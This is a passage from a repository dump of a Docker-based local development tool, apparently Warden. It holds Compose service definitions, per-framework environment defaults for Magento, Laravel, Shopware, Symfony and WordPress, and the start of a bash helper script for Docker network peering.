      - traefik.http.routers.${WARDEN_ENV_NAME}-nginx.tls=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-nginx.priority=2
      - traefik.http.routers.${WARDEN_ENV_NAME}-nginx.rule=
          HostRegexp(`{subdomain:.+}.${TRAEFIK_DOMAIN}`) || Host(`${TRAEFIK_DOMAIN}`)
      - traefik.http.services.${WARDEN_ENV_NAME}-nginx.loadbalancer.server.port=80
      - traefik.docker.network=${WARDEN_ENV_NAME}_default
    volumes:
      - .${WARDEN_WEB_ROOT:-}/:/var/www/html:cached
    environment:
      - XDEBUG_CONNECT_BACK_HOST=${XDEBUG_CONNECT_BACK_HOST:-''}


================================================
FILE: environments/includes/nginx.darwin.yml
================================================
services:
  nginx:
    environment:
      - XDEBUG_CONNECT_BACK_HOST=${XDEBUG_CONNECT_BACK_HOST:-host.docker.internal}


================================================
FILE: environments/includes/opensearch.base.yml
================================================
services:
  opensearch:
    hostname: "${WARDEN_ENV_NAME}-opensearch"
    image: ${WARDEN_IMAGE_REPOSITORY}/opensearch:${OPENSEARCH_VERSION:-1.2}
    labels:
      - traefik.enable=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-opensearch.tls=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-opensearch.rule=Host(`opensearch.${TRAEFIK_DOMAIN}`)
      - traefik.http.services.${WARDEN_ENV_NAME}-opensearch.loadbalancer.server.port=9200
      - traefik.docker.network=${WARDEN_ENV_NAME}_default
    environment:
      - DISABLE_SECURITY_PLUGIN=true
      - discovery.type=single-node
      - "OPENSEARCH_JAVA_OPTS=-Xms64m -Xmx512m"
    volumes:
      - osdata:/usr/share/opensearch/data

volumes:
  osdata:


================================================
FILE: environments/includes/php-fpm.base.yml
================================================

x-volumes: &volumes
  - ${WARDEN_SSL_DIR}/rootca/certs:/etc/ssl/warden-rootca-cert:ro
  - ${WARDEN_COMPOSER_DIR}:/home/www-data/.composer:cached
  - .${WARDEN_WEB_ROOT:-}/:/var/www/html:cached
  - bashhistory:/bash_history
  - sshdirectory:/home/www-data/.ssh

x-extra_hosts: &extra_hosts
    - ${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}
    - ${TRAEFIK_SUBDOMAIN:-app}.${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}

services:
  nginx:
    depends_on:
      - php-fpm

  php-fpm:
    hostname: "${WARDEN_ENV_NAME}-php-fpm"
    image: ${WARDEN_IMAGE_REPOSITORY}/php-fpm${WARDEN_SVC_PHP_IMAGE_SUFFIX:-}:${PHP_VERSION:-7.4}${WARDEN_SVC_PHP_VARIANT:-}
    environment:
      - TRAEFIK_DOMAIN
      - TRAEFIK_SUBDOMAIN
      - SSH_AUTH_SOCK=${SSH_AUTH_SOCK_PATH_ENV:-/tmp/ssh-auth.sock}
      - NODE_VERSION=${NODE_VERSION:-12}
      - COMPOSER_VERSION=${COMPOSER_VERSION:-1}
      - COMPOSER_MEMORY_LIMIT=-1
      - HISTFILE=/bash_history/.bash_history
      - CHOWN_DIR_LIST=${CHOWN_DIR_LIST:-}
    volumes: *volumes
    extra_hosts: *extra_hosts
    userns_mode: ${WARDEN_DOCKER_USERNS_MODE:-host}

  php-debug:
    hostname: "${WARDEN_ENV_NAME}-php-debug"
    image: ${WARDEN_IMAGE_REPOSITORY}/php-fpm${WARDEN_SVC_PHP_IMAGE_SUFFIX:-}:${PHP_VERSION:-7.4}${WARDEN_SVC_PHP_VARIANT:-}-${XDEBUG_VERSION:-debug}
    environment:
      - TRAEFIK_DOMAIN
      - TRAEFIK_SUBDOMAIN
      - SSH_AUTH_SOCK=${SSH_AUTH_SOCK_PATH_ENV:-/tmp/ssh-auth.sock}
      - NODE_VERSION=${NODE_VERSION:-12}
      - COMPOSER_VERSION=${COMPOSER_VERSION:-1}
      - COMPOSER_MEMORY_LIMIT=-1
      - PHP_IDE_CONFIG=serverName=${WARDEN_ENV_NAME}-docker
      - HISTFILE=/bash_history/.bash_history
      - CHOWN_DIR_LIST=${CHOWN_DIR_LIST:-}
    volumes: *volumes
    extra_hosts: *extra_hosts
    userns_mode: ${WARDEN_DOCKER_USERNS_MODE:-host}
    depends_on:
      - php-fpm
volumes:
  bashhistory:
  sshdirectory:


================================================
FILE: environments/includes/php-fpm.darwin.yml
================================================

x-volumes: &volumes
  - /run/host-services/ssh-auth.sock:/run/host-services/ssh-auth.sock

services:
  php-fpm: { volumes: *volumes }
  php-debug: { volumes: *volumes }


================================================
FILE: environments/includes/php-fpm.linux.yml
================================================

x-volumes: &volumes
  - ${SSH_AUTH_SOCK:-/dev/null}:/run/host-services/ssh-auth.sock

services:
  php-fpm: { volumes: *volumes }
  php-debug: { volumes: *volumes }


================================================
FILE: environments/includes/php-spx.base.yml
================================================
x-volumes: &volumes
  - ${WARDEN_SSL_DIR}/rootca/certs:/etc/ssl/warden-rootca-cert:ro
  - ${WARDEN_COMPOSER_DIR}:/home/www-data/.composer:cached
  - .${WARDEN_WEB_ROOT:-}/:/var/www/html:cached
  - bashhistory:/bash_history
  - sshdirectory:/home/www-data/.ssh

x-extra_hosts: &extra_hosts
    - ${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}
    - ${TRAEFIK_SUBDOMAIN:-app}.${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}

services:
  php-spx:
    hostname: "${WARDEN_ENV_NAME}-php-spx"
    image: ${WARDEN_IMAGE_REPOSITORY}/php-fpm${WARDEN_SVC_PHP_IMAGE_SUFFIX:-}:${PHP_VERSION:-7.4}-spx
    environment:
      - TRAEFIK_DOMAIN
      - TRAEFIK_SUBDOMAIN
      - SSH_AUTH_SOCK=${SSH_AUTH_SOCK_PATH_ENV:-/tmp/ssh-auth.sock}
      - NODE_VERSION=${NODE_VERSION:-12}
      - COMPOSER_VERSION=${COMPOSER_VERSION:-1}
      - COMPOSER_MEMORY_LIMIT=-1
      - HISTFILE=/bash_history/.bash_history
      - CHOWN_DIR_LIST=${CHOWN_DIR_LIST:-}
    volumes: *volumes
    extra_hosts: *extra_hosts

================================================
FILE: environments/includes/rabbitmq.base.yml
================================================
services:
  rabbitmq:
    hostname: "${WARDEN_ENV_NAME}-rabbitmq"
    image: ${WARDEN_IMAGE_REPOSITORY}/rabbitmq:${RABBITMQ_VERSION:-3.8}
    labels:
      - traefik.enable=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-rabbitmq.tls=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-rabbitmq.rule=Host(`rabbitmq.${TRAEFIK_DOMAIN}`)
      - traefik.http.services.${WARDEN_ENV_NAME}-rabbitmq.loadbalancer.server.port=15672
      - traefik.docker.network=${WARDEN_ENV_NAME}_default
    volumes:
      - rabbitmq:/var/lib/rabbitmq

volumes:
  rabbitmq:


================================================
FILE: environments/includes/redis.base.yml
================================================
services:
  redis:
    hostname: "${WARDEN_ENV_NAME}-redis"
    image: ${WARDEN_IMAGE_REPOSITORY}/redis:${REDIS_VERSION:-5.0}
    volumes:
      - redis:/data

volumes:
  redis:


================================================
FILE: environments/includes/selenium.base.yml
================================================
services:
  selenium:
    hostname: ${WARDEN_ENV_NAME}_selenium
    image: selenium/standalone-chromium:${WARDEN_SELENIUM_VERSION:-latest}
    extra_hosts:
      - ${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}
      - ${TRAEFIK_SUBDOMAIN:-app}.${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}

================================================
FILE: environments/includes/valkey.base.yml
================================================
services:
  valkey:
    hostname: "${WARDEN_ENV_NAME}-valkey"
    image: ${WARDEN_IMAGE_REPOSITORY}/valkey:${VALKEY_VERSION:-8.1}
    volumes:
      - valkey:/data

volumes:
  valkey:


================================================
FILE: environments/includes/varnish.base.yml
================================================
services:
  nginx:
    labels:
      - traefik.enable=false
      - traefik.http.routers.${WARDEN_ENV_NAME}-nginx.priority=2
      - traefik.docker.network=${WARDEN_ENV_NAME}_default

  varnish:
    hostname: "${WARDEN_ENV_NAME}-varnish"
    image: ${WARDEN_IMAGE_REPOSITORY}/varnish:${VARNISH_VERSION:-6.0}
    depends_on:
      - nginx
    labels:
      - traefik.enable=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-varnish.tls=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-varnish.priority=1
      - traefik.http.routers.${WARDEN_ENV_NAME}-varnish.rule=
          HostRegexp(`{subdomain:.+}.${TRAEFIK_DOMAIN}`) || Host(`${TRAEFIK_DOMAIN}`)
      - traefik.http.services.${WARDEN_ENV_NAME}-varnish.loadbalancer.server.port=80
      - traefik.docker.network=${WARDEN_ENV_NAME}_default


================================================
FILE: environments/laravel/db.base.yml
================================================
services:
  db:
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-laravel}
      - MYSQL_DATABASE=${MYSQL_DATABASE:-laravel}
      - MYSQL_USER=${MYSQL_USER:-laravel}
      - MYSQL_PASSWORD=${MYSQL_PASSWORD:-laravel}


================================================
FILE: environments/laravel/init.env
================================================

MYSQL_DISTRIBUTION=mariadb
MYSQL_DISTRIBUTION_VERSION=10.4
NODE_VERSION=12
COMPOSER_VERSION=2
PHP_VERSION=8.2
PHP_XDEBUG_3=1
REDIS_VERSION=5.0

WARDEN_DB=1
WARDEN_REDIS=1
WARDEN_PHP_SPX=0

## Laravel Config
APP_URL=http://app.$WARDEN_ENV_NAME.test
APP_KEY=$GENERATED_APP_KEY

APP_ENV=local
APP_DEBUG=true

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=laravel

CACHE_DRIVER=redis
SESSION_DRIVER=redis

REDIS_HOST=redis
REDIS_PORT=6379

MAIL_DRIVER=sendmail


================================================
FILE: environments/laravel/laravel.base.yml
================================================
services:
  nginx:
    environment:
      - NGINX_PUBLIC=/public
  php-fpm:
    labels:
      - traefik.enable=true
      - traefik.docker.network=${WARDEN_ENV_NAME}_default
      - traefik.http.routers.${WARDEN_ENV_NAME}-vite.tls=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-vite.rule=Host(`vite.${WARDEN_ENV_NAME}.test`)
      - traefik.http.services.${WARDEN_ENV_NAME}-vite.loadbalancer.server.port=5173


================================================
FILE: environments/local/local.base.yml
================================================


================================================
FILE: environments/magento1/db.base.yml
================================================
services:
  db:
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-magento}
      - MYSQL_DATABASE=${MYSQL_DATABASE:-magento}
      - MYSQL_USER=${MYSQL_USER:-magento}
      - MYSQL_PASSWORD=${MYSQL_PASSWORD:-magento}
    command:
      - mysqld
      - --max_allowed_packet=1024M


================================================
FILE: environments/magento1/init.env
================================================

WARDEN_DB=1
WARDEN_REDIS=1
WARDEN_PHP_SPX=0

MYSQL_DISTRIBUTION=mariadb
MYSQL_DISTRIBUTION_VERSION=10.3
NODE_VERSION=12
COMPOSER_VERSION=1
PHP_VERSION=7.2
PHP_XDEBUG_3=1
REDIS_VERSION=5.0

WARDEN_SELENIUM=0
WARDEN_SELENIUM_DEBUG=0
WARDEN_BLACKFIRE=0

BLACKFIRE_CLIENT_ID=
BLACKFIRE_CLIENT_TOKEN=
BLACKFIRE_SERVER_ID=
BLACKFIRE_SERVER_TOKEN=



================================================
FILE: environments/magento1/magento1.base.yml
================================================
services:
  nginx:
    environment:
      - NGINX_PUBLIC=${NGINX_PUBLIC:-}
      - NGINX_TEMPLATE=magento1.conf
      
  php-fpm:
    environment:
      - MAGE_IS_DEVELOPER_MODE=1

  php-debug:
    environment:
      - MAGE_IS_DEVELOPER_MODE=1


================================================
FILE: environments/magento1/magento1.blackfire.mutagen_compose.yml
================================================

x-volumes: &volumes
  - .${WARDEN_WEB_ROOT:-}/media:/var/www/html/media:cached
  - appdata:/var/www/html

x-environment: &environment
  - CHOWN_DIR_LIST=media ${CHOWN_DIR_LIST:-}

services:
  php-blackfire: { volumes: *volumes, environment: *environment }


================================================
FILE: environments/magento1/magento1.mutagen.yml
================================================
---
sync:
  defaults:
    mode: two-way-resolved
    watch:
      pollingInterval: 10
    ignore:
      vcs: true
      paths:
        # System files
        - ".DS_Store"
        - "._*"

        # Vim files
        - "*~"
        - "*.sw[a-p]"

        # Magento files
        - "/media"
        - "/var/**"

    permissions:
      defaultFileMode: "0644"
      defaultDirectoryMode: "0755"


================================================
FILE: environments/magento1/magento1.mutagen_compose.yml
================================================

x-volumes: &volumes
  - .${WARDEN_WEB_ROOT:-}/media:/var/www/html/media:cached
  - appdata:/var/www/html

x-environment: &environment
  - CHOWN_DIR_LIST=media ${CHOWN_DIR_LIST:-}

services:
  nginx: { volumes: *volumes }
  php-fpm: { volumes: *volumes, environment: *environment }
  php-debug: { volumes: *volumes, environment: *environment }

volumes:
  appdata:


================================================
FILE: environments/magento2/db.base.yml
================================================
services:
  db:
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-magento}
      - MYSQL_DATABASE=${MYSQL_DATABASE:-magento}
      - MYSQL_USER=${MYSQL_USER:-magento}
      - MYSQL_PASSWORD=${MYSQL_PASSWORD:-magento}
    command:
      - mysqld
      - --max_allowed_packet=1024M
      - --explicit_defaults_for_timestamp=on


================================================
FILE: environments/magento2/init.env
================================================

WARDEN_DB=1
WARDEN_ELASTICSEARCH=0
WARDEN_OPENSEARCH=1
WARDEN_ELASTICHQ=0
WARDEN_VARNISH=1
WARDEN_RABBITMQ=1
WARDEN_REDIS=1
WARDEN_PHP_SPX=0

OPENSEARCH_VERSION=3.3
MYSQL_DISTRIBUTION=mariadb
MYSQL_DISTRIBUTION_VERSION=11.4
NODE_VERSION=20
COMPOSER_VERSION=2
PHP_VERSION=8.4
PHP_XDEBUG_3=1
RABBITMQ_VERSION=4.1
REDIS_VERSION=7.2
VARNISH_VERSION=7.7

WARDEN_SYNC_IGNORE=

WARDEN_ALLURE=0
WARDEN_SELENIUM=0
WARDEN_SELENIUM_DEBUG=0
WARDEN_BLACKFIRE=0
WARDEN_SPLIT_SALES=0
WARDEN_SPLIT_CHECKOUT=0
WARDEN_TEST_DB=0
WARDEN_MAGEPACK=0

MAGEPACK_VERSION=2.11

WARDEN_MAGENTO2_GRAPHQL_SERVER=0
WARDEN_MAGENTO2_GRAPHQL_SERVER_DEBUG=0

BLACKFIRE_CLIENT_ID=
BLACKFIRE_CLIENT_TOKEN=
BLACKFIRE_SERVER_ID=
BLACKFIRE_SERVER_TOKEN=


================================================
FILE: environments/magento2/magento2.base.yml
================================================
services:
  nginx:
    environment:
      - NGINX_PUBLIC=/pub
      - NGINX_TEMPLATE=magento2.conf

  php-fpm:
    labels:
      - traefik.enable=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-livereload.tls=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-livereload.priority=3
      - traefik.http.routers.${WARDEN_ENV_NAME}-livereload.rule=
          (HostRegexp(`{subdomain:.+}.${TRAEFIK_DOMAIN}`) || Host(`${TRAEFIK_DOMAIN}`))
            && (Path(`/livereload.js`) || Path(`/livereload`))
      - traefik.http.routers.${WARDEN_ENV_NAME}-livereload.service=${WARDEN_ENV_NAME}-livereload
      - traefik.http.services.${WARDEN_ENV_NAME}-livereload.loadbalancer.server.port=35729
      - traefik.docker.network=${WARDEN_ENV_NAME}_default
    environment:
      - MAGE_DEBUG_SHOW_ARGS=1

  php-debug:
    environment:
      - MAGE_DEBUG_SHOW_ARGS=1


================================================
FILE: environments/magento2/magento2.blackfire.mutagen_compose.yml
================================================

x-volumes: &volumes
  - .${WARDEN_WEB_ROOT:-}/pub/media:/var/www/html/pub/media:cached
  - appdata:/var/www/html

x-environment: &environment
  - CHOWN_DIR_LIST=pub/media ${CHOWN_DIR_LIST:-}

services:
  php-blackfire: { volumes: *volumes, environment: *environment }


================================================
FILE: environments/magento2/magento2.graphql-debug.base.yml
================================================
services:
  php-graphql:
    image: ${WARDEN_IMAGE_REPOSITORY}/php-fpm${WARDEN_SVC_PHP_IMAGE_SUFFIX:-}:${PHP_VERSION:-7.4}${WARDEN_SVC_PHP_VARIANT:-}-${XDEBUG_VERSION:-debug}

================================================
FILE: environments/magento2/magento2.graphql.base.yml
================================================

x-volumes: &volumes
  - ${WARDEN_SSL_DIR}/rootca/certs:/etc/ssl/warden-rootca-cert:ro
  - ${WARDEN_COMPOSER_DIR}:/home/www-data/.composer:cached
  - .${WARDEN_WEB_ROOT:-}/:/var/www/html:cached
  - bashhistory:/bash_history
  - sshdirectory:/home/www-data/.ssh

x-extra_hosts: &extra_hosts
  - ${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}
  - ${TRAEFIK_SUBDOMAIN:-app}.${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}

services:
  php-graphql:
    hostname: "${WARDEN_ENV_NAME}-php-graphql"
    image: ${WARDEN_IMAGE_REPOSITORY}/php-fpm${WARDEN_SVC_PHP_IMAGE_SUFFIX:-}:${PHP_VERSION:-7.4}${WARDEN_SVC_GRAPHQL_VARIANT:-}
    command: php -dopcache.enable_cli=1 -dopcache.validate_timestamps=0 /var/www/html/bin/magento server:run -vvv
    environment:
      - COMPOSER_VERSION=${COMPOSER_VERSION:-1}
      - COMPOSER_MEMORY_LIMIT=-1
      - HISTFILE=/bash_history/.bash_history
      - CHOWN_DIR_LIST=${CHOWN_DIR_LIST:-}
    volumes: *volumes
    extra_hosts: *extra_hosts
    labels:
      - traefik.enable=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-graphql.tls=true
      - traefik.http.routers.${WARDEN_ENV_NAME}-graphql.rule=(HostRegexp(`{subdomain:.+}.${TRAEFIK_DOMAIN}`) || Host(`${TRAEFIK_DOMAIN}`)) && Path(`/graphql`)
      - traefik.http.services.${WARDEN_ENV_NAME}-graphql.loadbalancer.server.port=9501
      - traefik.docker.network=${WARDEN_ENV_NAME}_default

================================================
FILE: environments/magento2/magento2.graphql.darwin.yml
================================================

x-volumes: &volumes
  - /run/host-services/ssh-auth.sock:/run/host-services/ssh-auth.sock

services:
  php-graphql: { volumes: *volumes }


================================================
FILE: environments/magento2/magento2.graphql.linux.yml
================================================

x-volumes: &volumes
  - ${SSH_AUTH_SOCK:-/dev/null}:/run/host-services/ssh-auth.sock

services:
  php-graphql: { volumes: *volumes }


================================================
FILE: environments/magento2/magento2.magepack.base.yml
================================================
services:
  magepack:
    hostname: "${WARDEN_ENV_NAME}-magepack"
    image: ${WARDEN_IMAGE_REPOSITORY}/magepack:${MAGEPACK_VERSION:-2.3}
    environment:
      - TRAEFIK_DOMAIN
      - TRAEFIK_SUBDOMAIN
    extra_hosts:
      - ${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}
      - ${TRAEFIK_SUBDOMAIN:-app}.${TRAEFIK_DOMAIN}:${TRAEFIK_ADDRESS:-0.0.0.0}
    depends_on:
      - php-fpm


================================================
FILE: environments/magento2/magento2.magepack.linux.yml
================================================

x-volumes: &volumes
  - .${WARDEN_WEB_ROOT:-}/:/var/www/html

services:
  magepack: { volumes: *volumes }


================================================
FILE: environments/magento2/magento2.magepack.mutagen_compose.yml
================================================
x-volumes: &volumes
  - .${WARDEN_WEB_ROOT:-}/pub/media:/var/www/html/pub/media:cached
  - appdata:/var/www/html

services:
  magepack: { volumes: *volumes }


================================================
FILE: environments/magento2/magento2.mutagen.yml
================================================
---
sync:
  defaults:
    mode: two-way-resolved
    watch:
      pollingInterval: 10
    ignore:
      vcs: false
      paths:
        # Root .git folder 
        - "/.git/"
      
        # System files
        - ".DS_Store"
        - "._*"

        # Vim files
        - "*~"
        - "*.sw[a-p]"

        # Magento files
        - "/pub/media"
        - "/pub/static/**"
        - "!/pub/static/.htaccess"
        - "/var/**"
        - "!/var/.htaccess"

    permissions:
      defaultFileMode: "0644"
      defaultDirectoryMode: "0755"


================================================
FILE: environments/magento2/magento2.mutagen_compose.yml
================================================

x-volumes: &volumes
  - .${WARDEN_WEB_ROOT:-}/pub/media:/var/www/html/pub/media:cached
  - appdata:/var/www/html

x-environment: &environment
  - CHOWN_DIR_LIST=pub/media ${CHOWN_DIR_LIST:-}

services:
  nginx: { volumes: *volumes }
  php-fpm: { volumes: *volumes, environment: *environment }
  php-debug: { volumes: *volumes, environment: *environment }

volumes:
  appdata:


================================================
FILE: environments/magento2/magento2.splitdb.checkout.base.yml
================================================
services:
  php-fpm:
    depends_on:
      - checkoutdb

  php-debug:
    depends_on:
      - checkoutdb

  checkoutdb:
    hostname: "${WARDEN_ENV_NAME}-checkoutdb"
    image: ${WARDEN_IMAGE_REPOSITORY}/${MYSQL_DISTRIBUTION:-mariadb}:${MYSQL_DISTRIBUTION_VERSION:-${MARIADB_VERSION:-10.4}}
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-magento}
      - MYSQL_DATABASE=${MYSQL_DATABASE:-magento}
      - MYSQL_USER=${MYSQL_USER:-magento}
      - MYSQL_PASSWORD=${MYSQL_PASSWORD:-magento}
    command:
      - mysqld
      - --max_allowed_packet=1024M
    volumes:
      - checkoutdbdata:/var/lib/mysql

volumes:
  checkoutdbdata:


================================================
FILE: environments/magento2/magento2.splitdb.sales.base.yml
================================================
services:
  php-fpm:
    depends_on:
      - salesdb

  php-debug:
    depends_on:
      - salesdb

  salesdb:
    hostname: "${WARDEN_ENV_NAME}-salesdb"
    image: ${WARDEN_IMAGE_REPOSITORY}/${MYSQL_DISTRIBUTION:-mariadb}:${MYSQL_DISTRIBUTION_VERSION:-${MARIADB_VERSION:-10.4}}
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-magento}
      - MYSQL_DATABASE=${MYSQL_DATABASE:-magento}
      - MYSQL_USER=${MYSQL_USER:-magento}
      - MYSQL_PASSWORD=${MYSQL_PASSWORD:-magento}
    command:
      - mysqld
      - --max_allowed_packet=1024M
    volumes:
      - salesdbdata:/var/lib/mysql

volumes:
  salesdbdata:


================================================
FILE: environments/magento2/magento2.tests.base.yml
================================================
services:
  tmp-mysql:
    hostname: "${WARDEN_ENV_NAME}-mysql"
    image: ${WARDEN_IMAGE_REPOSITORY}/${MYSQL_DISTRIBUTION:-mariadb}:${MYSQL_DISTRIBUTION_VERSION:-${MARIADB_VERSION:-10.4}}
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-magento}
      - MYSQL_DATABASE=magento_integration_tests
      - MYSQL_USER=${MYSQL_USER:-magento}
      - MYSQL_PASSWORD=${MYSQL_PASSWORD:-magento}
    command:
      - mysqld
      - --max_allowed_packet=1024M
      - --explicit_defaults_for_timestamp=on
    volumes:
      - tmp-dbdata:/var/lib/mysql

volumes:
  tmp-dbdata:
    driver_opts:
      type: tmpfs
      device: tmpfs


================================================
FILE: environments/shopware/db.base.yml
================================================
services:
  db:
    networks:
      default:
        aliases:
          - mysql
    environment:
      MYSQL_DATABASE: ${MYSQL_DATABASE:-shopware}
      DB_AUTO_CREATE_DB: ${DB_AUTO_CREATE_DB:-shopware shopware_e2e shopware_test}
      DB_AUTO_CREATE_SH: |-
        if [ -n "$$MYSQL_USER" ] && [ -n "$$DB_AUTO_CREATE_DB" ]; then
          for MYSQL_DATABASE in $$DB_AUTO_CREATE_DB; do
            mysql_note "Creating database $${MYSQL_DATABASE}"
            docker_process_sql --database=mysql <<<"CREATE DATABASE IF NOT EXISTS \`$$MYSQL_DATABASE\`;"

            mysql_note "Giving user $${MYSQL_USER} access to schema $${MYSQL_DATABASE}"
            docker_process_sql --database=mysql <<<"GRANT ALL ON \`$${MYSQL_DATABASE//_/\\_}\`.* TO '$$MYSQL_USER'@'%';"
          done
          docker_process_sql --database=mysql <<<"FLUSH PRIVILEGES;"
        fi
    entrypoint: |
      /bin/bash -c '
        echo "$$DB_AUTO_CREATE_SH" > /docker-entrypoint-initdb.d/db-auto-create.sh
        exec /usr/local/bin/docker-entrypoint.sh mysqld
      '


================================================
FILE: environments/shopware/init.env
================================================

WARDEN_DB=1
WARDEN_REDIS=1
WARDEN_RABBITMQ=0
WARDEN_ELASTICSEARCH=0
WARDEN_VARNISH=0
WARDEN_PHP_SPX=0

MYSQL_DISTRIBUTION=mariadb
MYSQL_DISTRIBUTION_VERSION=10.4
NODE_VERSION=12
COMPOSER_VERSION=2
PHP_VERSION=7.4
PHP_XDEBUG_3=1
RABBITMQ_VERSION=3.8
REDIS_VERSION=5.0
VARNISH_VERSION=6.0



================================================
FILE: environments/shopware/shopware.base.yml
================================================
services:
  nginx:
    environment:
      - NGINX_PUBLIC=/public


================================================
FILE: environments/shopware/shopware.mutagen.yml
================================================
---
sync:
  defaults:
    mode: two-way-resolved
    watch:
      pollingInterval: 10
    ignore:
      vcs: true
      paths:
        # System files
        - ".DS_Store"
        - "._*"

        # Vim files
        - "*~"
        - "*.sw[a-p]"

        # Application files
        - "/public/media"
        - "/var"

    permissions:
      defaultFileMode: "0644"
      defaultDirectoryMode: "0755"


================================================
FILE: environments/shopware/shopware.mutagen_compose.yml
================================================

x-volumes: &volumes
  - .${WARDEN_WEB_ROOT:-}/public/media:/var/www/html/public/media:cached
  - appdata:/var/www/html

x-environment: &environment
  - CHOWN_DIR_LIST=public/media ${CHOWN_DIR_LIST:-}

services:
  nginx: { volumes: *volumes }
  php-fpm: { volumes: *volumes, environment: *environment }
  php-debug: { volumes: *volumes, environment: *environment }

volumes:
  appdata:


================================================
FILE: environments/symfony/db.base.yml
================================================
services:
  db:
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-symfony}
      - MYSQL_DATABASE=${MYSQL_DATABASE:-symfony}
      - MYSQL_USER=${MYSQL_USER:-symfony}
      - MYSQL_PASSWORD=${MYSQL_PASSWORD:-symfony}


================================================
FILE: environments/symfony/init.env
================================================

WARDEN_DB=1
WARDEN_REDIS=1
WARDEN_RABBITMQ=0
WARDEN_ELASTICSEARCH=0
WARDEN_VARNISH=0
WARDEN_PHP_SPX=0

MYSQL_DISTRIBUTION=mariadb
MYSQL_DISTRIBUTION_VERSION=10.4
NODE_VERSION=12
COMPOSER_VERSION=2
PHP_VERSION=7.4
PHP_XDEBUG_3=1
RABBITMQ_VERSION=3.8
REDIS_VERSION=5.0
VARNISH_VERSION=6.0



================================================
FILE: environments/symfony/symfony.base.yml
================================================
services:
  nginx:
    environment:
      - NGINX_PUBLIC=/public


================================================
FILE: environments/wordpress/db.base.yml
================================================
services:
  db:
    environment:
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD:-wordpress}
      - MYSQL_DATABASE=${MYSQL_DATABASE:-wordpress}
      - MYSQL_USER=${MYSQL_USER:-wordpress}
      - MYSQL_PASSWORD=${MYSQL_PASSWORD:-wordpress}


================================================
FILE: environments/wordpress/init.env
================================================

MYSQL_DISTRIBUTION=mariadb
MYSQL_DISTRIBUTION_VERSION=10.6
NODE_VERSION=22
COMPOSER_VERSION=2
PHP_VERSION=8.3
PHP_XDEBUG_3=1

WARDEN_DB=1
WARDEN_REDIS=0
WARDEN_PHP_SPX=0

APP_ENV=local
APP_DEBUG=true

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=wordpress
DB_USERNAME=wordpress
DB_PASSWORD=wordpress


================================================
FILE: environments/wordpress/wordpress.base.yml
================================================


================================================
FILE: utils/core.sh
================================================
#!/usr/bin/env bash
[[ ! ${WARDEN_DIR} ]] && >&2 echo -e "\033[31mThis script is not intended to be run directly!\033[0m" && exit 1

## global service containers to be connected with the project docker network
## Only non-disablable services should be listed here. Optioanl services should be handled in getPeeredServices
DOCKER_PEERED_SERVICES=("traefik" "tunnel" "mailhog")

## messaging functions
function warning {
  >&2 printf "\033[33mWARNING\033[0m: $@\n"
}

function error {
  >&2 printf "\033[31mERROR\033[0m: $@\n"
}

function fatal {
  error "$@"
  exit -1
}

function version {
  echo "$@" | awk -F. '{ printf("%d%03d%03d%03d\n", $1,$2,$3,$4); }';
}

## determines if value is present in an array; returns 0 if element is present
## in array, otherwise returns 1
##
## usage: containsElement <needle> <haystack>
##
function containsElement {
  local e match="$1"
  shift
  for e; do [[ "$e" == "$match" ]] && return 0; done
  return 1
}

## verify docker is running
function assertDockerRunning {
  if ! docker system info >/dev/null 2>&1; then
    fatal "Docker does not appear to be running. Please start Docker."
  fi
}

## use this to add services that can be opted in/out of
function getPeeredServices {
  local services=("${DOCKER_PEERED_SERVICES[@]}")

  if [[ "${WARDEN_PHPMYADMIN_ENABLE}" == 1 ]]; then
    services+=("phpmyadmin")
  fi

  echo "${services[@]}"
}

## methods to peer global services requiring network connectivity with project networks
function connectPeeredServices {
  enabledServices=($(getPeeredServices))
  for svc in ${enabledServices[@]}; do
    echo "Connecting ${svc} to $1 network"
    (docker network connect "$1" ${svc} 2>&1| grep -v 'already exists in network') || true
  done
}

function disconnectPeeredServices {
  enabledServices=($(getPeeredServices))
  for svc in ${enabledServices[@]}; do
    echo "Disconnecting ${svc} from $1 network"
    (docker network disconnect "$1" ${svc} 2>&1| grep -v 'is not connected') || true
  done
}
function regeneratePMAConfig() {
  if [[ -f "${WARDEN_HOME_DIR}/.env" ]]; then
    # Recheck PMA since old versions of .env may not have WARDEN_PHPMYADMIN_ENABLE setting
    eval "$(grep "^WARDEN_PHPMYADMIN_ENABLE" "${WARDEN_HOME_DIR}/.env")"
    WARDEN_PHPMYADMIN_ENABLE="${WARDEN_PHPMYADMIN_ENABLE:-1}"
  fi
